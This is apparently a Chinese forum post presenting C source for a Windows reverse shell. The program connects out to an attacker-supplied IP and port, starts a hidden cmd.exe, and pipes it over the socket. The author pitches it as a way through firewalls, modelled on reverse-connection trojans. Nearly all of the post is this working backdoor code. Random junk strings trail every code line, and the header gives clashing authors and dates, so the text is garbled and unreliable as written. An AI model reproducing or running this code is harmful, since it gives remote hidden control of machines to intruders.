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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ss$/Bh>hN  
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/* ============================== 7mBH #Q)  
Rebound port in Windows NT 5fjL  
By wind,2006/7 b uOpHQn  
===============================*/ AbA_s I<;  
#include dVKctt'C  
#include WXmR{za   
4 >`2vb  
#pragma comment(lib,"wsock32.lib") ?qJt4Om  
k,h /B  
void OutputShell(); m3']/}xHO  
SOCKET sClient; b sM ]5^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZFFKv  
rUxjm\  
void main(int argc,char **argv)  SCq:jI  
{ s%/x3anz=  
WSADATA stWsaData; Gv\:Agi  
int nRet; n1    
SOCKADDR_IN stSaiClient,stSaiServer; m/bP`-/,  
yLgv<%8f  
if(argc != 3) m4_ZGjmJM  
{ `P *wz<  
printf("Useage:\n\rRebound DestIP DestPort\n"); N_liKhq  
return; #<o=W#[  
} 8$~^-_>n/  
8k_cC$*Ng  
WSAStartup(MAKEWORD(2,2),&stWsaData); J>dIEW%u  
WvN{f*  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _L% =Q ulu  
,p)Qu%'  
stSaiClient.sin_family = AF_INET; TMw6 EM  
stSaiClient.sin_port = htons(0); T?k!%5,Kj  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `_+%  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =OamN7V=  
{ S.R|Bwj}(Y  
printf("Bind Socket Failed!\n"); P<C=9@`!  
return; _@@.VmZL  
} `6RR/~kP(  
pB:/oHV  
stSaiServer.sin_family = AF_INET; K:q|M?_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,!vI@>nhG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pg.BOz\'q  
r) g:-[Ox9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {wh, "Ok_  
{ 4vJg"*?  
printf("Connect Error!"); +5"Pm]oRbx  
return; [79iC$8B|  
} &a!MT^anA~  
OutputShell(); h|%a}])G)  
} U(:Di]>{  
i9eE/ .  
void OutputShell() v(P5)R,  
{ $&X-ay o  
char szBuff[1024]; R q`j|tY  
SECURITY_ATTRIBUTES stSecurityAttributes; [w{x+6uX'  
OSVERSIONINFO stOsversionInfo; x4XCR,-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yrG=2{I  
STARTUPINFO stStartupInfo; F$@(0c  
char *szShell; .&2~g A  
PROCESS_INFORMATION stProcessInformation; 9xOTR#B:_V  
unsigned long lBytesRead; 9@>Q7AUCQ  
B^@X1EE  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W!V-m  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H>F j  
stSecurityAttributes.lpSecurityDescriptor = 0; 9`tSg!YOh  
stSecurityAttributes.bInheritHandle = TRUE; n;LjKE  
LRqlK\  
"t%Jj89a\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C."\ a_p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yJW/yt.l  
k [iT']  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8'M:uI  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (,D:6(R7t  
stStartupInfo.wShowWindow = SW_HIDE; Zp/$:ny  
stStartupInfo.hStdInput = hReadPipe; ej,R:}C%`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y=D\  
)]C(NTfxg  
GetVersionEx(&stOsversionInfo); "R]wPF5u  
Z8`Y}#Za[  
switch(stOsversionInfo.dwPlatformId) ?2,{+d |  
{ PR7B Cxm  
case 1: nP_)PDTFp  
szShell = "command.com"; 40G'3HOp  
break; m(`O>zS  
default: wz>[CXpi_  
szShell = "cmd.exe"; U|Uc|6  
break; Aw&0R"{  
}  'Pxq>Os  
mrBK{@n  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JCci*F#r  
s8dP=_ `  
send(sClient,szMsg,77,0); -vv_6Z L[  
while(1) 0i>p1/kv  
{ intl?&wC  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1A[(RT]  
if(lBytesRead) \h?6/@3ob  
{ 2I283%xr  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1024L;  
send(sClient,szBuff,lBytesRead,0); L tUvFe  
} /=g/{&3[a>  
else  U4qk<!  
{ 7CH.BY  
lBytesRead=recv(sClient,szBuff,1024,0); @`ii3&W4  
if(lBytesRead<=0) break; A4(k<<xjE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >+DM TV[O  
} z[@i=avPG  
} [^D>xD3B2  
{yDQncq'^  
return; eAStpG"*  
}
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